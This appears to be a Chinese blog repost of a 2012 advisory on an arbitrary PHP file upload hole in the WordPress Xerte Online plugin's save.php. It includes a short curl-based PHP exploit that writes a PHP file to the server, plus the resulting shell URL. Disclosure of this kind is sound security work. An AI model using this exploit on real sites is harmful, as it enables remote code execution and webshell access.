wordpress漏洞上传php文件,WordPress Xerte Online插件'save.php'任意文件上传漏洞

发布日期:2012-12-30

更新日期:2013-01-04

受影响系统:

WordPress Xerte Online 0.32

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 57098

Xerte Online for WordPress是基于服务器的内容作者的工具集。

Xerte Online for WordPress内存在安全漏洞,wp-content/plugins/xerte-online/xertefiles/save.php允许上传带有任意扩展名的文件到webroot内的文件夹,通过提交恶意的PHP脚本,可导致任意PHP代码执行。

链接:http://www.securelist.com/en/advisories/51691

http://packetstormsecurity.com/files/119220/wpxerteonline-shell.txt

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Exploit :

PostShell.php

$code = " phpinfo(); ?>";

$ch = curl_init("http://localhost/wordpress/wp-content/plugins/xerte-online/xertefiles/save.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('filename'=>"/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php",

'filedata'=>"$code"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>

Shell Access :

http://localhost/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php

# Site : 1337day.com Inj3ct0r Exploit Database

建议:

--------------------------------------------------------------------------------

厂商补丁:

WordPress

---------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://wordpress.org/extend/plugins/xerte-online/0b1331709591d260c1c78e86d0c51c18.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值